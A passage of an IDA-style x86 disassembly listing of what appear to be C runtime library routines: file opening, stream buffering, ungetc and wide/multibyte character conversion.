mov eax, [ebp+arg_0] push eax call ds:dword_4F5304 ; GetStringTypeW jmp short loc_4313B8 ; --------------------------------------------------------------------------- loc_4313B6: ; CODE XREF: sub_431210+BCj xor eax, eax loc_4313B8: ; CODE XREF: sub_431210+79j ; sub_431210+B0j ... lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_431210 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4313D0 proc near ; CODE XREF: sub_427100+A1p ; sub_427CE0+137p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi loc_4313D7: ; CODE XREF: sub_4313D0+2Fj cmp [ebp+arg_0], 0 jnz short loc_4313FB push offset dword_43C514 push 0 push 2Eh push offset dword_43D784 push 2 call sub_422610 add esp, 14h cmp eax, 1 jnz short loc_4313FB int 3 ; Trap to Debugger loc_4313FB: ; CODE XREF: sub_4313D0+Bj ; sub_4313D0+28j xor eax, eax test eax, eax jnz short loc_4313D7 mov ecx, ds:dword_4F336C add ecx, 1 mov ds:dword_4F336C, ecx mov edx, [ebp+arg_0] mov [ebp+var_4], edx push 3Bh push offset dword_43D784 push 2 push 1000h call sub_41BE70 add esp, 10h mov ecx, [ebp+var_4] mov [ecx+8], eax mov edx, [ebp+var_4] cmp dword ptr [edx+8], 0 jz short loc_431456 mov eax, [ebp+var_4] mov ecx, [eax+0Ch] or ecx, 8 mov edx, [ebp+var_4] mov [edx+0Ch], ecx mov eax, [ebp+var_4] mov dword ptr [eax+18h], 1000h jmp short loc_43147B ; --------------------------------------------------------------------------- loc_431456: ; CODE XREF: sub_4313D0+69j mov ecx, [ebp+var_4] mov edx, [ecx+0Ch] or edx, 4 mov eax, [ebp+var_4] mov [eax+0Ch], edx mov ecx, [ebp+var_4] add ecx, 14h mov edx, [ebp+var_4] mov [edx+8], ecx mov eax, [ebp+var_4] mov dword ptr [eax+18h], 2 loc_43147B: ; CODE XREF: sub_4313D0+84j mov ecx, [ebp+var_4] mov edx, [ebp+var_4] mov eax, [edx+8] mov [ecx], eax mov ecx, [ebp+var_4] mov dword ptr [ecx+4], 0 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4313D0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 8 lea eax, [ebp+10h] mov [ebp-8], eax mov ecx, [ebp-8] add ecx, 4 mov [ebp-8], ecx mov edx, [ebp-8] mov eax, [edx-4] mov [ebp-4], eax mov dword ptr [ebp-8], 0 mov ecx, [ebp-4] push ecx push 40h mov edx, [ebp+0Ch] push edx mov eax, [ebp+8] push eax call sub_4314E0 add esp, 10h mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4314E0 proc near ; CODE XREF: sub_4277D0+2B0p ; _0:004314D3p var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 48h mov [ebp+var_24], 0Ch mov [ebp+var_20], 0 mov eax, [ebp+arg_4] and eax, 80h test eax, eax jz short loc_43150D mov [ebp+var_1C], 0 mov [ebp+var_38], 10h jmp short loc_431518 ; --------------------------------------------------------------------------- loc_43150D: ; CODE XREF: sub_4314E0+1Ej mov [ebp+var_1C], 1 mov [ebp+var_38], 0 loc_431518: ; CODE XREF: sub_4314E0+2Bj mov ecx, [ebp+arg_4] and ecx, 8000h test ecx, ecx jnz short loc_431551 mov edx, [ebp+arg_4] and edx, 4000h test edx, edx jz short loc_43153C mov al, [ebp+var_38] or al, 80h mov [ebp+var_38], al jmp short loc_431551 ; --------------------------------------------------------------------------- loc_43153C: ; CODE XREF: sub_4314E0+50j cmp ds:dword_4F3678, 8000h jz short loc_431551 mov cl, [ebp+var_38] or cl, 80h mov [ebp+var_38], cl loc_431551: ; CODE XREF: sub_4314E0+43j ; sub_4314E0+5Aj ... mov edx, [ebp+arg_4] and edx, 3 mov [ebp+var_40], edx cmp [ebp+var_40], 0 jz short loc_43156E cmp [ebp+var_40], 1 jz short loc_431577 cmp [ebp+var_40], 2 jz short loc_431580 jmp short loc_431589 ; --------------------------------------------------------------------------- loc_43156E: ; CODE XREF: sub_4314E0+7Ej mov [ebp+var_34], 80000000h jmp short loc_4315A7 ; --------------------------------------------------------------------------- loc_431577: ; CODE XREF: sub_4314E0+84j mov [ebp+var_34], 40000000h jmp short loc_4315A7 ; --------------------------------------------------------------------------- loc_431580: ; CODE XREF: sub_4314E0+8Aj mov [ebp+var_34], 0C0000000h jmp short loc_4315A7 ; --------------------------------------------------------------------------- loc_431589: ; CODE XREF: sub_4314E0+8Cj call sub_429A90 mov dword ptr [eax], 16h call sub_429AA0 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh jmp loc_4319EA ; --------------------------------------------------------------------------- loc_4315A7: ; CODE XREF: sub_4314E0+95j ; sub_4314E0+9Ej ... mov eax, [ebp+arg_8] mov [ebp+var_44], eax mov ecx, [ebp+var_44] sub ecx, 10h mov [ebp+var_44], ecx cmp [ebp+var_44], 30h ja short loc_4315F2 mov eax, [ebp+var_44] xor edx, edx mov dl, byte_431A02[eax] jmp off_4319EE[edx*4] loc_4315CE: ; DATA XREF: _0:off_4319EEo mov [ebp+var_8], 0 jmp short loc_431610 ; --------------------------------------------------------------------------- loc_4315D7: ; CODE XREF: sub_4314E0+E7j ; DATA XREF: _0:004319F2o mov [ebp+var_8], 1 jmp short loc_431610 ; --------------------------------------------------------------------------- loc_4315E0: ; CODE XREF: sub_4314E0+E7j ; DATA XREF: _0:004319F6o mov [ebp+var_8], 2 jmp short loc_431610 ; --------------------------------------------------------------------------- loc_4315E9: ; CODE XREF: sub_4314E0+E7j ; DATA XREF: _0:004319FAo mov [ebp+var_8], 3 jmp short loc_431610 ; --------------------------------------------------------------------------- loc_4315F2: ; CODE XREF: sub_4314E0+DAj ; sub_4314E0+E7j ; DATA XREF: ... call sub_429A90 mov dword ptr [eax], 16h call sub_429AA0 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh jmp loc_4319EA ; --------------------------------------------------------------------------- loc_431610: ; CODE XREF: sub_4314E0+F5j ; sub_4314E0+FEj ... mov ecx, [ebp+arg_4] and ecx, 700h mov [ebp+var_48], ecx cmp [ebp+var_48], 400h jg short loc_43165C cmp [ebp+var_48], 400h jz short loc_431679 cmp [ebp+var_48], 200h jg short loc_431651 cmp [ebp+var_48], 200h jz short loc_431694 cmp [ebp+var_48], 0 jz short loc_431679 cmp [ebp+var_48], 100h jz short loc_431682 jmp short loc_4316A6 ; --------------------------------------------------------------------------- loc_431651: ; CODE XREF: sub_4314E0+155j cmp [ebp+var_48], 300h jz short loc_43169D jmp short loc_4316A6 ; --------------------------------------------------------------------------- loc_43165C: ; CODE XREF: sub_4314E0+143j cmp [ebp+var_48], 500h jz short loc_43168B cmp [ebp+var_48], 600h jz short loc_431694 cmp [ebp+var_48], 700h jz short loc_43168B jmp short loc_4316A6 ; --------------------------------------------------------------------------- loc_431679: ; CODE XREF: sub_4314E0+14Cj ; sub_4314E0+164j mov [ebp+var_18], 3 jmp short loc_4316C4 ; --------------------------------------------------------------------------- loc_431682: ; CODE XREF: sub_4314E0+16Dj mov [ebp+var_18], 4 jmp short loc_4316C4 ; --------------------------------------------------------------------------- loc_43168B: ; CODE XREF: sub_4314E0+183j ; sub_4314E0+195j mov [ebp+var_18], 1 jmp short loc_4316C4 ; --------------------------------------------------------------------------- loc_431694: ; CODE XREF: sub_4314E0+15Ej ; sub_4314E0+18Cj mov [ebp+var_18], 5 jmp short loc_4316C4 ; --------------------------------------------------------------------------- loc_43169D: ; CODE XREF: sub_4314E0+178j mov [ebp+var_18], 2 jmp short loc_4316C4 ; --------------------------------------------------------------------------- loc_4316A6: ; CODE XREF: sub_4314E0+16Fj ; sub_4314E0+17Aj ... call sub_429A90 mov dword ptr [eax], 16h call sub_429AA0 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh jmp loc_4319EA ; --------------------------------------------------------------------------- loc_4316C4: ; CODE XREF: sub_4314E0+1A0j ; sub_4314E0+1A9j ... mov [ebp+var_28], 80h mov edx, [ebp+arg_4] and edx, 100h test edx, edx jz short loc_431715 lea eax, [ebp+arg_C] mov [ebp+var_2C], eax mov ecx, [ebp+var_2C] add ecx, 4 mov [ebp+var_2C], ecx mov edx, [ebp+var_2C] mov eax, [edx-4] mov [ebp+var_10], eax mov [ebp+var_2C], 0 mov ecx, ds:dword_4F32F4 not ecx mov edx, [ebp+var_10] and edx, ecx and edx, 80h test edx, edx jnz short loc_431715 mov [ebp+var_28], 1 loc_431715: ; CODE XREF: sub_4314E0+1F6j ; sub_4314E0+22Cj mov eax, [ebp+arg_4] and eax, 40h test eax, eax jz short loc_431737 mov ecx, [ebp+var_28] or ecx, 4000000h mov [ebp+var_28], ecx mov edx, [ebp+var_34] or edx, 10000h mov [ebp+var_34], edx loc_431737: ; CODE XREF: sub_4314E0+23Dj mov eax, [ebp+arg_4] and eax, 1000h test eax, eax jz short loc_43174C mov ecx, [ebp+var_28] or ch, 1 mov [ebp+var_28], ecx loc_43174C: ; CODE XREF: sub_4314E0+261j mov edx, [ebp+arg_4] and edx, 20h test edx, edx jz short loc_431763 mov eax, [ebp+var_28] or eax, 8000000h mov [ebp+var_28], eax jmp short loc_431779 ; --------------------------------------------------------------------------- loc_431763: ; CODE XREF: sub_4314E0+274j mov ecx, [ebp+arg_4] and ecx, 10h test ecx, ecx jz short loc_431779 mov edx, [ebp+var_28] or edx, 10000000h mov [ebp+var_28], edx loc_431779: ; CODE XREF: sub_4314E0+281j ; sub_4314E0+28Bj call sub_430B60 mov [ebp+var_14], eax cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_4317A5 call sub_429A90 mov dword ptr [eax], 18h call sub_429AA0 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh jmp loc_4319EA ; --------------------------------------------------------------------------- loc_4317A5: ; CODE XREF: sub_4314E0+2A5j push 0 mov eax, [ebp+var_28] push eax mov ecx, [ebp+var_18] push ecx lea edx, [ebp+var_24] push edx mov eax, [ebp+var_8] push eax mov ecx, [ebp+var_34] push ecx mov edx, [ebp+arg_0] push edx call ds:off_4F53C0 mov [ebp+var_4], eax cmp [ebp+var_4], 0FFFFFFFFh jnz short loc_4317F1 call ds:dword_4F5360 ; RtlGetLastWin32Error push eax call sub_4299F0 add esp, 4 mov eax, [ebp+var_14] push eax call sub_431100 add esp, 4 or eax, 0FFFFFFFFh jmp loc_4319EA ; --------------------------------------------------------------------------- loc_4317F1: ; CODE XREF: sub_4314E0+2ECj mov ecx, [ebp+var_4] push ecx call ds:dword_4F5314 ; GetFileType mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_431831 mov edx, [ebp+var_4] push edx call ds:off_4F533C call ds:dword_4F5360 ; RtlGetLastWin32Error push eax call sub_4299F0 add esp, 4 mov eax, [ebp+var_14] push eax call sub_431100 add esp, 4 or eax, 0FFFFFFFFh jmp loc_4319EA ; --------------------------------------------------------------------------- loc_431831: ; CODE XREF: sub_4314E0+322j cmp [ebp+var_C], 2 jnz short loc_431842 mov cl, [ebp+var_38] or cl, 40h mov [ebp+var_38], cl jmp short loc_431851 ; --------------------------------------------------------------------------- loc_431842: ; CODE XREF: sub_4314E0+355j cmp [ebp+var_C], 3 jnz short loc_431851 mov dl, [ebp+var_38] or dl, 8 mov [ebp+var_38], dl loc_431851: ; CODE XREF: sub_4314E0+360j ; sub_4314E0+366j mov eax, [ebp+var_4] push eax mov ecx, [ebp+var_14] push ecx call sub_430D50 add esp, 8 mov dl, [ebp+var_38] or dl, 1 mov [ebp+var_38], dl mov eax, [ebp+var_14] sar eax, 5 mov ecx, [ebp+var_14] and ecx, 1Fh imul ecx, 24h mov edx, ds:dword_4F36C0[eax*4] mov al, [ebp+var_38] mov [edx+ecx+4], al movsx ecx, [ebp+var_38] and ecx, 48h test ecx, ecx jnz loc_43198F movsx edx, [ebp+var_38] and edx, 80h test edx, edx jz loc_43198F mov eax, [ebp+arg_4] and eax, 2 test eax, eax jz loc_43198F push 2 push 0FFFFFFFFh mov ecx, [ebp+var_14] push ecx call sub_42E570 add esp, 0Ch mov [ebp+var_3C], eax cmp [ebp+var_3C], 0FFFFFFFFh jnz short loc_431901 call sub_429AA0 cmp dword ptr [eax], 83h jz short loc_4318FC mov edx, [ebp+var_14] push edx call sub_422CB0 add esp, 4 mov eax, [ebp+var_14] push eax call sub_431100 add esp, 4 or eax, 0FFFFFFFFh jmp loc_4319EA ; --------------------------------------------------------------------------- loc_4318FC: ; CODE XREF: sub_4314E0+3FAj jmp loc_43198F ; --------------------------------------------------------------------------- loc_431901: ; CODE XREF: sub_4314E0+3EDj mov [ebp+var_30], 0 push 1 lea ecx, [ebp+var_30] push ecx mov edx, [ebp+var_14] push edx call sub_427380 add esp, 0Ch test eax, eax jnz short loc_431959 movsx eax, [ebp+var_30] cmp eax, 1Ah jnz short loc_431959 mov ecx, [ebp+var_3C] push ecx mov edx, [ebp+var_14] push edx call sub_435EC0 add esp, 8 cmp eax, 0FFFFFFFFh jnz short loc_431959 mov eax, [ebp+var_14] push eax call sub_422CB0 add esp, 4 mov ecx, [ebp+var_14] push ecx call sub_431100 add esp, 4 or eax, 0FFFFFFFFh jmp loc_4319EA ; --------------------------------------------------------------------------- loc_431959: ; CODE XREF: sub_4314E0+439j ; sub_4314E0+442j ... push 0 push 0 mov edx, [ebp+var_14] push edx call sub_42E570 add esp, 0Ch mov [ebp+var_3C], eax cmp [ebp+var_3C], 0FFFFFFFFh jnz short loc_43198F mov eax, [ebp+var_14] push eax call sub_422CB0 add esp, 4 mov ecx, [ebp+var_14] push ecx call sub_431100 add esp, 4 or eax, 0FFFFFFFFh jmp short loc_4319EA ; --------------------------------------------------------------------------- loc_43198F: ; CODE XREF: sub_4314E0+3B0j ; sub_4314E0+3C2j ... movsx edx, [ebp+var_38] and edx, 48h test edx, edx jnz short loc_4319DB mov eax, [ebp+arg_4] and eax, 8 test eax, eax jz short loc_4319DB mov ecx, [ebp+var_14] sar ecx, 5 mov edx, [ebp+var_14] and edx, 1Fh imul edx, 24h mov eax, ds:dword_4F36C0[ecx*4] mov cl, [eax+edx+4] or cl, 20h mov edx, [ebp+var_14] sar edx, 5 mov eax, [ebp+var_14] and eax, 1Fh imul eax, 24h mov edx, ds:dword_4F36C0[edx*4] mov [edx+eax+4], cl loc_4319DB: ; CODE XREF: sub_4314E0+4B8j ; sub_4314E0+4C2j mov eax, [ebp+var_14] push eax call sub_431100 add esp, 4 mov eax, [ebp+var_14] loc_4319EA: ; CODE XREF: sub_4314E0+C2j ; sub_4314E0+12Bj ... mov esp, ebp pop ebp retn sub_4314E0 endp ; --------------------------------------------------------------------------- off_4319EE dd offset loc_4315CE ; DATA XREF: sub_4314E0+E7r dd offset loc_4315D7 dd offset loc_4315E0 dd offset loc_4315E9 dd offset loc_4315F2 byte_431A02 db 0 ; DATA XREF: sub_4314E0+E1r db 4 dd 3 dup(4040404h), 4010404h, 3 dup(4040404h), 4020404h dd 3 dup(4040404h), 0CC030404h, 3 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431A40 proc near ; CODE XREF: sub_427CE0+127p ; sub_429C90+40p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] cmp eax, ds:dword_4F37C0 jb short loc_431A52 xor eax, eax jmp short loc_431A70 ; --------------------------------------------------------------------------- loc_431A52: ; CODE XREF: sub_431A40+Cj mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, ds:dword_4F36C0[ecx*4] movsx eax, byte ptr [eax+edx+4] and eax, 40h loc_431A70: ; CODE XREF: sub_431A40+10j pop ebp retn sub_431A40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431A80 proc near ; CODE XREF: sub_427F60+3CAp ; sub_427F60+B90p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp sub esp, 8 push offset dword_4F37C8 call ds:dword_4F5488 ; InterlockedIncrement cmp ds:dword_4F37C4, 0 jz short loc_431AB8 push offset dword_4F37C8 call ds:dword_4F5484 ; InterlockedDecrement push 13h call sub_423280 add esp, 4 mov [ebp+var_4], 1 jmp short loc_431ABF ; --------------------------------------------------------------------------- loc_431AB8: ; CODE XREF: sub_431A80+18j mov [ebp+var_4], 0 loc_431ABF: ; CODE XREF: sub_431A80+36j mov ax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_431B00 add esp, 8 mov [ebp+var_8], eax cmp [ebp+var_4], 0 jz short loc_431AE5 push 13h call sub_423320 add esp, 4 jmp short loc_431AF0 ; --------------------------------------------------------------------------- loc_431AE5: ; CODE XREF: sub_431A80+57j push offset dword_4F37C8 call ds:dword_4F5484 ; InterlockedDecrement loc_431AF0: ; CODE XREF: sub_431A80+63j mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_431A80 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431B00 proc near ; CODE XREF: sub_431A80+48p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 cmp [ebp+arg_0], 0 jnz short loc_431B13 xor eax, eax jmp loc_431B9C ; --------------------------------------------------------------------------- loc_431B13: ; CODE XREF: sub_431B00+Aj cmp ds:dword_4F33F8, 0 jnz short loc_431B4A mov eax, [ebp+arg_4] and eax, 0FFFFh cmp eax, 0FFh jle short loc_431B3B call sub_429A90 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp short loc_431B9C ; --------------------------------------------------------------------------- loc_431B3B: ; CODE XREF: sub_431B00+29j mov ecx, [ebp+arg_0] mov dl, byte ptr [ebp+arg_4] mov [ecx], dl mov eax, 1 jmp short loc_431B9C ; --------------------------------------------------------------------------- loc_431B4A: ; CODE XREF: sub_431B00+1Aj mov [ebp+var_8], 0 lea eax, [ebp+var_8] push eax push 0 mov ecx, ds:dword_453DF0 push ecx mov edx, [ebp+arg_0] push edx push 1 lea eax, [ebp+arg_4] push eax push 220h mov ecx, ds:dword_4F3408 push ecx call ds:dword_4F5450 ; WideCharToMultiByte mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_431B89 cmp [ebp+var_8], 0 jz short loc_431B99 loc_431B89: ; CODE XREF: sub_431B00+81j call sub_429A90 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp short loc_431B9C ; --------------------------------------------------------------------------- loc_431B99: ; CODE XREF: sub_431B00+87j mov eax, [ebp+var_4] loc_431B9C: ; CODE XREF: sub_431B00+Ej ; sub_431B00+39j ... mov esp, ebp pop ebp retn sub_431B00 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431BA0 proc near ; CODE XREF: sub_429E90+74Ep var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push offset dword_4F37C8 call ds:dword_4F5488 ; InterlockedIncrement cmp ds:dword_4F37C4, 0 jz short loc_431BD8 push offset dword_4F37C8 call ds:dword_4F5484 ; InterlockedDecrement push 13h call sub_423280 add esp, 4 mov [ebp+var_4], 1 jmp short loc_431BDF ; --------------------------------------------------------------------------- loc_431BD8: ; CODE XREF: sub_431BA0+18j mov [ebp+var_4], 0 loc_431BDF: ; CODE XREF: sub_431BA0+36j mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_431C20 add esp, 0Ch mov [ebp+var_8], eax cmp [ebp+var_4], 0 jz short loc_431C08 push 13h call sub_423320 add esp, 4 jmp short loc_431C13 ; --------------------------------------------------------------------------- loc_431C08: ; CODE XREF: sub_431BA0+5Aj push offset dword_4F37C8 call ds:dword_4F5484 ; InterlockedDecrement loc_431C13: ; CODE XREF: sub_431BA0+66j mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_431BA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431C20 proc near ; CODE XREF: sub_431BA0+4Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi loc_431C26: ; CODE XREF: sub_431C20+3Aj cmp ds:dword_453DF0, 1 jz short loc_431C56 cmp ds:dword_453DF0, 2 jz short loc_431C56 push offset aMb_cur_max1Mb_ ; "MB_CUR_MAX == 1 || MB_CUR_MAX == 2" push 0 push 4Fh push offset dword_43D790 push 2 call sub_422610 add esp, 14h cmp eax, 1 jnz short loc_431C56 int 3 ; Trap to Debugger loc_431C56: ; CODE XREF: sub_431C20+Dj ; sub_431C20+16j ... xor eax, eax test eax, eax jnz short loc_431C26 cmp [ebp+arg_4], 0 jz short loc_431C68 cmp [ebp+arg_8], 0 jnz short loc_431C6F loc_431C68: ; CODE XREF: sub_431C20+40j xor eax, eax jmp loc_431D79 ; --------------------------------------------------------------------------- loc_431C6F: ; CODE XREF: sub_431C20+46j mov ecx, [ebp+arg_4] movsx edx, byte ptr [ecx] test edx, edx jnz short loc_431C8E cmp [ebp+arg_0], 0 jz short loc_431C87 mov eax, [ebp+arg_0] mov word ptr [eax], 0 loc_431C87: ; CODE XREF: sub_431C20+5Dj xor eax, eax jmp loc_431D79 ; --------------------------------------------------------------------------- loc_431C8E: ; CODE XREF: sub_431C20+57j cmp ds:dword_4F33F8, 0 jnz short loc_431CB4 cmp [ebp+arg_0], 0 jz short loc_431CAA mov ecx, [ebp+arg_4] movzx dx, byte ptr [ecx] mov eax, [ebp+arg_0] mov [eax], dx loc_431CAA: ; CODE XREF: sub_431C20+7Bj mov eax, 1 jmp loc_431D79 ; --------------------------------------------------------------------------- loc_431CB4: ; CODE XREF: sub_431C20+75j mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] mov eax, ds:off_453BE4 xor ecx, ecx mov cx, [eax+edx*2] and ecx, 8000h test ecx, ecx jz short loc_431D3D cmp ds:dword_453DF0, 1 jle short loc_431D10 mov edx, [ebp+arg_8] cmp edx, ds:dword_453DF0 jl short loc_431D10 xor eax, eax cmp [ebp+arg_0], 0 setnz al push eax mov ecx, [ebp+arg_0] push ecx mov edx, ds:dword_453DF0 push edx mov eax, [ebp+arg_4] push eax push 9 mov ecx, ds:dword_4F3408 push ecx call ds:dword_4F5454 ; MultiByteToWideChar test eax, eax jnz short loc_431D36 loc_431D10: ; CODE XREF: sub_431C20+B7j ; sub_431C20+C2j mov edx, [ebp+arg_8] cmp edx, ds:dword_453DF0 jb short loc_431D26 mov eax, [ebp+arg_4] movsx ecx, byte ptr [eax+1] test ecx, ecx jnz short loc_431D36 loc_431D26: ; CODE XREF: sub_431C20+F9j call sub_429A90 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp short loc_431D79 ; --------------------------------------------------------------------------- loc_431D36: ; CODE XREF: sub_431C20+EEj ; sub_431C20+104j mov eax, ds:dword_453DF0 jmp short loc_431D79 ; --------------------------------------------------------------------------- loc_431D3D: ; CODE XREF: sub_431C20+AEj xor edx, edx cmp [ebp+arg_0], 0 setnz dl push edx mov eax, [ebp+arg_0] push eax push 1 mov ecx, [ebp+arg_4] push ecx push 9 mov edx, ds:dword_4F3408 push edx call ds:dword_4F5454 ; MultiByteToWideChar test eax, eax jnz short loc_431D74 call sub_429A90 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp short loc_431D79 ; --------------------------------------------------------------------------- loc_431D74: ; CODE XREF: sub_431C20+142j mov eax, 1 loc_431D79: ; CODE XREF: sub_431C20+4Aj ; sub_431C20+69j ... pop edi pop esi pop ebx pop ebp retn sub_431C20 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_431D80 proc near ; CODE XREF: sub_429E90+9D7p ; sub_429E90+A65p ... cmp cl, 40h jnb short loc_431D9A cmp cl, 20h jnb short loc_431D90 shld edx, eax, cl shl eax, cl retn ; --------------------------------------------------------------------------- loc_431D90: ; CODE XREF: sub_431D80+8j mov edx, eax xor eax, eax and cl, 1Fh shl edx, cl retn ; --------------------------------------------------------------------------- loc_431D9A: ; CODE XREF: sub_431D80+3j xor eax, eax xor edx, edx retn sub_431D80 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx push ebx push esi push edi loc_431DA7: ; CODE XREF: _0:00431DCFj cmp dword ptr [ebp+0Ch], 0 jnz short loc_431DCB push offset dword_43C504 push 0 push 31h push offset aUngetc_c ; "ungetc.c" push 2 call sub_422610 add esp, 14h cmp eax, 1 jnz short loc_431DCB int 3 ; Trap to Debugger loc_431DCB: ; CODE XREF: _0:00431DABj _0:00431DC8j xor eax, eax test eax, eax jnz short loc_431DA7 mov ecx, [ebp+0Ch] push ecx call sub_422420 add esp, 4 mov edx, [ebp+0Ch] push edx mov eax, [ebp+8] push eax call sub_431E10 add esp, 8 mov [ebp-4], eax mov ecx, [ebp+0Ch] push ecx call sub_422490 add esp, 4 mov eax, [ebp-4] pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431E10 proc near ; CODE XREF: sub_42B330+11p ; _0:00431DE5p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi loc_431E17: ; CODE XREF: sub_431E10+2Fj cmp [ebp+arg_4], 0 jnz short loc_431E3B push offset dword_43C514 push 0 push 60h push offset aUngetc_c ; "ungetc.c" push 2 call sub_422610 add esp, 14h cmp eax, 1 jnz short loc_431E3B int 3 ; Trap to Debugger loc_431E3B: ; CODE XREF: sub_431E10+Bj ; sub_431E10+28j xor eax, eax test eax, eax jnz short loc_431E17 mov ecx, [ebp+arg_4] mov [ebp+var_4], ecx cmp [ebp+arg_0], 0FFFFFFFFh jz short loc_431E77 mov edx, [ebp+var_4] mov eax, [edx+0Ch] and eax, 1 test eax, eax jnz short loc_431E7F mov ecx, [ebp+var_4] mov edx, [ecx+0Ch] and edx, 80h test edx, edx jz short loc_431E77 mov eax, [ebp+var_4] mov ecx, [eax+0Ch] and ecx, 2 test ecx, ecx jz short loc_431E7F loc_431E77: ; CODE XREF: sub_431E10+3Bj ; sub_431E10+58j or eax, 0FFFFFFFFh jmp loc_431F47 ; --------------------------------------------------------------------------- loc_431E7F: ; CODE XREF: sub_431E10+48j ; sub_431E10+65j mov edx, [ebp+var_4] cmp dword ptr [edx+8], 0 jnz short loc_431E94 mov eax, [ebp+var_4] push eax call sub_4313D0 add esp, 4 loc_431E94: ; CODE XREF: sub_431E10+76j mov ecx, [ebp+var_4] mov edx, [ebp+var_4] mov eax, [ecx] cmp eax, [edx+8] jnz short loc_431EBF mov ecx, [ebp+var_4] cmp dword ptr [ecx+4], 0 jz short loc_431EB2 or eax, 0FFFFFFFFh jmp loc_431F47 ; --------------------------------------------------------------------------- loc_431EB2: ; CODE XREF: sub_431E10+98j mov edx, [ebp+var_4] mov eax, [edx] add eax, 1 mov ecx, [ebp+var_4] mov [ecx], eax loc_431EBF: ; CODE XREF: sub_431E10+8Fj mov edx, [ebp+var_4] mov eax, [edx+0Ch] and eax, 40h test eax, eax jz short loc_431EFD mov ecx, [ebp+var_4] mov edx, [ecx] sub edx, 1 mov eax, [ebp+var_4] mov [eax], edx mov ecx, [ebp+var_4] mov edx, [ecx] movsx eax, byte ptr [edx] movsx ecx, byte ptr [ebp+arg_0] cmp eax, ecx jz short loc_431EFB mov edx, [ebp+var_4] mov eax, [edx] add eax, 1 mov ecx, [ebp+var_4] mov [ecx], eax or eax, 0FFFFFFFFh jmp short loc_431F47 ; --------------------------------------------------------------------------- loc_431EFB: ; CODE XREF: sub_431E10+D7j jmp short loc_431F14 ; --------------------------------------------------------------------------- loc_431EFD: ; CODE XREF: sub_431E10+BAj mov edx, [ebp+var_4] mov eax, [edx] sub eax, 1 mov ecx, [ebp+var_4] mov [ecx], eax mov edx, [ebp+var_4] mov eax, [edx] mov cl, byte ptr [ebp+arg_0] mov [eax], cl loc_431F14: ; CODE XREF: sub_431E10:loc_431EFBj mov edx, [ebp+var_4] mov eax, [edx+4] add eax, 1 mov ecx, [ebp+var_4] mov [ecx+4], eax mov edx, [ebp+var_4] mov eax, [edx+0Ch] and al, 0EFh mov ecx, [ebp+var_4] mov [ecx+0Ch], eax mov edx, [ebp+var_4] mov eax, [edx+0Ch] or al, 1 mov ecx, [ebp+var_4] mov [ecx+0Ch], eax mov eax, [ebp+arg_0] and eax, 0FFh loc_431F47: ; CODE XREF: sub_431E10+6Aj ; sub_431E10+9Dj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn 